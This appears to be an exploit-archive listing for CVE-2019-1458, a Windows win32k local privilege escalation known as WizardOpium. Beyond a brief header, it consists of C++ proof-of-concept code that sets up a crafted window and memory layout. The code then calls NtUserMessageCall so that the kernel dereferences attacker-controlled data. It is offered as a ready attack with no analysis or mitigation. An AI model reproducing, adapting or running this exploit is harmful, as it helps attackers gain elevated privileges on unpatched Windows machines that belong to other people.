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Microsoft Windows WizardOpium Local Privilege Escalation

Microsoft Windows WizardOpium Local Privilege Escalation
Posted Mar 6, 2020
Authored by Piotr Florczyk

Microsoft Windows WizardOpium local privilege escalation exploit.

tags | exploit, local
systems | windows
advisories | CVE-2019-1458
MD5 | 5e3251b1138b2a8ad4150ecb464423f4

Microsoft Windows WizardOpium Local Privilege Escalation

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#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow

//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;

printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
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